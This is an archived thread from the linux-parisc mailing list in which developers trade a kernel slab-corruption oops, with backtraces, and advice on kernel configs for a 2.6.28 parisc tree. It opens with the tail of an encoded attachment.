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

--ZGiS0Q5IWpPtfppv--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Thu, 1 Jan 2009 18:39:36 -0500 (EST)
Lines: 120
Approved: news@gmane.org
Message-ID: <20090101233937.7256E4EDA@hiauly1.hia.nrc.ca>
References: <20090101223750.GA21914@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230853191 9195 80.91.229.12 (1 Jan 2009 23:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2009 23:39:51 +0000 (UTC)
Cc: deller@gmx.de, kyle@infradead.org, linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 00:40:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIX9u-0002L5-FV
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 00:40:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753958AbZAAXjl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2009 18:39:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753863AbZAAXjl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 1 Jan 2009 18:39:41 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1685 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753958AbZAAXjk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2009 18:39:40 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7256E4EDA; Thu,  1 Jan 2009 18:39:37 -0500 (EST)
In-Reply-To: <20090101223750.GA21914@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 1, 2009 05:37:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1086>

> On Thu, 01 Jan 2009, John David Anglin wrote:
> 
> > I was think of something like this (untested):
> 
> While trying to test this, I hit the following with Kyle's 2.6.28-rc7
> parisc tree:
> 
> Debian GNU/Linux 5.0 mx3210 ttyS1

And other one:

mx3210 login: Slab corruption: names_cache start=000000007cc71000, len=4096
000: 00 00 00 00 7f 45 cb c0 00 00 00 00 40 5b 86 a0
010: 00 00 00 00 00 00 00 02 00 00 00 00 7f 41 0d 00
020: 00 00 00 00 7f 48 01 18 00 00 00 00 00 00 00 01
030: 00 00 00 00 7f 45 b2 88 00 00 00 00 40 5e f8 a0
040: 00 00 00 00 00 10 36 64 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 22 34 e4
Slab corruption: biovec-128 start=000000007cc7a308, len=2048
Redzone: 0x0/0x1812c.
Last user: [<000000007cc7a750>](0x7cc7a750)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 40 10 40 78
020: 00 00 00 00 40 10 40 7c 00 00 00 00 40 4f bb 00
030: 00 00 00 00 42 76 81 e0 00 00 00 00 42 76 70 40
040: 00 00 00 00 40 5b 86 a0 6b 6b 6b 6b 6b 6b 6b 6b
050: 00 00 00 00 00 00 00 00 00 00 00 00 03 c0 08 a1
Prev obj: start=000000007cc798d0, len=2048
Redzone: 0x0/0xff0804ff0f.
Last user: [<00000000405bcea0>](0x405bcea0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 22 34 e4
010: 41 2e 84 80 00 00 00 00 00 00 00 00 00 1e 84 80
slab error in cache_alloc_debugcheck_after(): cache `biovec-128': double free, or memory outside object was overwritten
Backtrace:
 [<000000004011bd1c>] show_stack+0x14/0x20
 [<00000000401144f0>] dump_stack+0x18/0x28
 [<00000000401c65dc>] __slab_error+0x3c/0x48
 [<00000000401c6db0>] cache_alloc_debugcheck_after+0x190/0x308
 [<00000000401c91d8>] kmem_cache_alloc+0xd8/0x190
 [<000000004019552c>] mempool_alloc_slab+0x1c/0x28
 [<0000000040195720>] mempool_alloc+0x88/0x1b8
 [<00000000402039e0>] bvec_alloc_bs+0x88/0x138
 [<0000000040203b14>] bio_alloc_bioset+0x84/0x140
 [<0000000040203cf0>] bio_alloc+0x20/0x50
 [<00000000402086e4>] mpage_alloc+0x44/0xd0
 [<0000000040208c8c>] __mpage_writepage+0x41c/0x788
 [<000000004019c7ec>] write_cache_pages+0x33c/0x438
 [<0000000040208808>] mpage_writepages+0x48/0xb0
 [<00000000142ca3a4>] ext2_writepages+0x1c/0x28 [ext2]
 [<000000004019c974>] do_writepages+0x44/0x78

000000007cc7a300: redzone 1:0x0, redzone 2:0x1812c
------------[ cut here ]------------
kernel BUG at mm/slab.c:2895!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Tainted: G        W 
r00-03  000000ff0804ff0e 00000000405baea0 00000000401c6b0c 000000007cc7a300
r04-07  00000000405b86a0 0000000000000000 000000007ed64740 d84156c5635688c0
r08-11  00000000404063c0 000000007cc7a2c0 00000000401955ac 00000000405c2ea0
r12-15  00000000405c0ea0 0000000040574f50 0000000000000000 000000004050bb80
r16-19  00000000405ba6a0 0000000000000000 00000000ffffffff 00000000000f6ab4
r20-23  000000006d207700 00000000001fa11d 00000000000f1c19 0000000066957700
r24-27  00000000401955ac 00000000001fa11d 000000007cc7a300 00000000405b86a0
r28-31  00000000000f6ab4 0000000040575500 0000000040575530 0000000000000003
sr00-03  00000000006c9800 0000000000000000 0000000000000000 00000000006c9800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401c6bb8 00000000401c6bbc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000015d575538
 CPU:        0   CR30: 0000000040574000 CR31: 0000000040554000
ORIG_R28: 000000004058f6a0
IAOQ[0]: cache_free_debugcheck+0x360/0x3c8
IAOQ[1]: cache_free_debugcheck+0x364/0x3c8
RP(r2): cache_free_debugcheck+0x2b4/0x3c8
Backtrace:
 [<00000000401c733c>] kmem_cache_free+0x4c/0x150
 [<00000000401955ac>] mempool_free_slab+0x1c/0x28
 [<0000000040195690>] mempool_free+0xd8/0xe0
 [<0000000040204a30>] bio_free+0x40/0x90
 [<0000000040204a9c>] bio_fs_destructor+0x1c/0x28
 [<00000000402023f8>] bio_put+0x88/0xa0
 [<0000000040209b64>] mpage_end_io_write+0xcc/0x138
 [<00000000402024e0>] bio_endio+0x70/0x90
 [<000000004025bd60>] req_bio_endio+0xf8/0x158
 [<000000004025befc>] __end_that_request_first+0x13c/0x3f8
 [<000000004025c1f4>] end_that_request_data+0x3c/0xa8
 [<000000004025d058>] blk_end_io+0x38/0xf8
 [<000000004025d178>] blk_end_request+0x18/0x28
 [<00000000081183e4>] scsi_end_request+0x4c/0x110 [scsi_mod]
 [<0000000008118c8c>] scsi_io_completion+0x12c/0x538 [scsi_mod]
 [<000000000810ed44>] scsi_finish_command+0xd4/0x148 [scsi_mod]

Backtrace:
 [<000000004011bd1c>] show_stack+0x14/0x20
 [<00000000401144f0>] dump_stack+0x18/0x28
 [<000000004011c508>] die_if_kernel+0x138/0x240
 [<000000004011ce88>] handle_interruption+0x878/0x910
 [<00000000401c6bb8>] cache_free_debugcheck+0x360/0x3c8
 [<00000000401c733c>] kmem_cache_free+0x4c/0x150
 [<00000000401955ac>] mempool_free_slab+0x1c/0x28
 [<0000000040195690>] mempool_free+0xd8/0xe0
 [<0000000040204a30>] bio_free+0x40/0x90
 [<0000000040204a9c>] bio_fs_destructor+0x1c/0x28
 [<00000000402023f8>] bio_put+0x88/0xa0
 [<0000000040209b64>] mpage_end_io_write+0xcc/0x138
 [<00000000402024e0>] bio_endio+0x70/0x90
 [<000000004025bd60>] req_bio_endio+0xf8/0x158
 [<000000004025befc>] __end_that_request_first+0x13c/0x3f8
 [<000000004025c1f4>] end_that_request_data+0x3c/0xa8

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Fri, 02 Jan 2009 10:14:54 +0100
Lines: 139
Approved: news@gmane.org
Message-ID: <495DDB0E.9010203@gmx.de>
References: <20090101233937.7256E4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230887702 16563 80.91.229.12 (2 Jan 2009 09:15:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 09:15:02 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, kyle@infradead.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 10:16:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIg8X-0001VH-Ix
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 10:16:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751304AbZABJOx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 04:14:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751501AbZABJOw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 04:14:52 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41762 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751304AbZABJOv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 04:14:51 -0500
Original-Received: (qmail invoked by alias); 02 Jan 2009 09:14:48 -0000
Original-Received: from mnhm-590e08d5.pool.einsundeins.de (EHLO halden.box) [89.14.8.213]
  by mail.gmx.net (mp039) with SMTP; 02 Jan 2009 10:14:48 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18htiBeh+QhZjpwxRWORCfD4HI7jJUI9T462LuMeH
	lul4M5tIOYB9wX
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090101233937.7256E4EDA@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1087>

John David Anglin wrote:
>> On Thu, 01 Jan 2009, John David Anglin wrote:
>>
>>> I was think of something like this (untested):
>> While trying to test this, I hit the following with Kyle's 2.6.28-rc7
>> parisc tree:
>>
>> Debian GNU/Linux 5.0 mx3210 ttyS1
> 
> And other one:
> 
> mx3210 login: Slab corruption: names_cache start=000000007cc71000, len=4096
> 000: 00 00 00 00 7f 45 cb c0 00 00 00 00 40 5b 86 a0

Hi Dave,

telling you to try vanilla 2.6.28 was a stupid idea.
I forgot that I had exactly the same problem (slab corruption):
http://bugzilla.kernel.org/show_bug.cgi?id=11913
when I started the thread 
"2.6.28-rcX in pretty bad shape on parisc"
here on the list as well.

The solution for me was to use another default config.
James posted this one, which started to get everything working for me:
http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
Try this one instead (e.g. with Kyle's tree).

I assume something in your .config is different than what is in
James' .config. It would be interesting to know what it
is. I didn't checked further at that time.

Helge

> 010: 00 00 00 00 00 00 00 02 00 00 00 00 7f 41 0d 00
> 020: 00 00 00 00 7f 48 01 18 00 00 00 00 00 00 00 01
> 030: 00 00 00 00 7f 45 b2 88 00 00 00 00 40 5e f8 a0
> 040: 00 00 00 00 00 10 36 64 00 00 00 00 00 00 00 00
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 00 22 34 e4
> Slab corruption: biovec-128 start=000000007cc7a308, len=2048
> Redzone: 0x0/0x1812c.
> Last user: [<000000007cc7a750>](0x7cc7a750)
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 40 10 40 78
> 020: 00 00 00 00 40 10 40 7c 00 00 00 00 40 4f bb 00
> 030: 00 00 00 00 42 76 81 e0 00 00 00 00 42 76 70 40
> 040: 00 00 00 00 40 5b 86 a0 6b 6b 6b 6b 6b 6b 6b 6b
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 03 c0 08 a1
> Prev obj: start=000000007cc798d0, len=2048
> Redzone: 0x0/0xff0804ff0f.
> Last user: [<00000000405bcea0>](0x405bcea0)
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 22 34 e4
> 010: 41 2e 84 80 00 00 00 00 00 00 00 00 00 1e 84 80
> slab error in cache_alloc_debugcheck_after(): cache `biovec-128': double free, or memory outside object was overwritten
> Backtrace:
>  [<000000004011bd1c>] show_stack+0x14/0x20
>  [<00000000401144f0>] dump_stack+0x18/0x28
>  [<00000000401c65dc>] __slab_error+0x3c/0x48
>  [<00000000401c6db0>] cache_alloc_debugcheck_after+0x190/0x308
>  [<00000000401c91d8>] kmem_cache_alloc+0xd8/0x190
>  [<000000004019552c>] mempool_alloc_slab+0x1c/0x28
>  [<0000000040195720>] mempool_alloc+0x88/0x1b8
>  [<00000000402039e0>] bvec_alloc_bs+0x88/0x138
>  [<0000000040203b14>] bio_alloc_bioset+0x84/0x140
>  [<0000000040203cf0>] bio_alloc+0x20/0x50
>  [<00000000402086e4>] mpage_alloc+0x44/0xd0
>  [<0000000040208c8c>] __mpage_writepage+0x41c/0x788
>  [<000000004019c7ec>] write_cache_pages+0x33c/0x438
>  [<0000000040208808>] mpage_writepages+0x48/0xb0
>  [<00000000142ca3a4>] ext2_writepages+0x1c/0x28 [ext2]
>  [<000000004019c974>] do_writepages+0x44/0x78
> 
> 000000007cc7a300: redzone 1:0x0, redzone 2:0x1812c
> ------------[ cut here ]------------
> kernel BUG at mm/slab.c:2895!
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001111111100001110 Tainted: G        W 
> r00-03  000000ff0804ff0e 00000000405baea0 00000000401c6b0c 000000007cc7a300
> r04-07  00000000405b86a0 0000000000000000 000000007ed64740 d84156c5635688c0
> r08-11  00000000404063c0 000000007cc7a2c0 00000000401955ac 00000000405c2ea0
> r12-15  00000000405c0ea0 0000000040574f50 0000000000000000 000000004050bb80
> r16-19  00000000405ba6a0 0000000000000000 00000000ffffffff 00000000000f6ab4
> r20-23  000000006d207700 00000000001fa11d 00000000000f1c19 0000000066957700
> r24-27  00000000401955ac 00000000001fa11d 000000007cc7a300 00000000405b86a0
> r28-31  00000000000f6ab4 0000000040575500 0000000040575530 0000000000000003
> sr00-03  00000000006c9800 0000000000000000 0000000000000000 00000000006c9800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401c6bb8 00000000401c6bbc
>  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000015d575538
>  CPU:        0   CR30: 0000000040574000 CR31: 0000000040554000
> ORIG_R28: 000000004058f6a0
> IAOQ[0]: cache_free_debugcheck+0x360/0x3c8
> IAOQ[1]: cache_free_debugcheck+0x364/0x3c8
> RP(r2): cache_free_debugcheck+0x2b4/0x3c8
> Backtrace:
>  [<00000000401c733c>] kmem_cache_free+0x4c/0x150
>  [<00000000401955ac>] mempool_free_slab+0x1c/0x28
>  [<0000000040195690>] mempool_free+0xd8/0xe0
>  [<0000000040204a30>] bio_free+0x40/0x90
>  [<0000000040204a9c>] bio_fs_destructor+0x1c/0x28
>  [<00000000402023f8>] bio_put+0x88/0xa0
>  [<0000000040209b64>] mpage_end_io_write+0xcc/0x138
>  [<00000000402024e0>] bio_endio+0x70/0x90
>  [<000000004025bd60>] req_bio_endio+0xf8/0x158
>  [<000000004025befc>] __end_that_request_first+0x13c/0x3f8
>  [<000000004025c1f4>] end_that_request_data+0x3c/0xa8
>  [<000000004025d058>] blk_end_io+0x38/0xf8
>  [<000000004025d178>] blk_end_request+0x18/0x28
>  [<00000000081183e4>] scsi_end_request+0x4c/0x110 [scsi_mod]
>  [<0000000008118c8c>] scsi_io_completion+0x12c/0x538 [scsi_mod]
>  [<000000000810ed44>] scsi_finish_command+0xd4/0x148 [scsi_mod]
> 
> Backtrace:
>  [<000000004011bd1c>] show_stack+0x14/0x20
>  [<00000000401144f0>] dump_stack+0x18/0x28
>  [<000000004011c508>] die_if_kernel+0x138/0x240
>  [<000000004011ce88>] handle_interruption+0x878/0x910
>  [<00000000401c6bb8>] cache_free_debugcheck+0x360/0x3c8
>  [<00000000401c733c>] kmem_cache_free+0x4c/0x150
>  [<00000000401955ac>] mempool_free_slab+0x1c/0x28
>  [<0000000040195690>] mempool_free+0xd8/0xe0
>  [<0000000040204a30>] bio_free+0x40/0x90
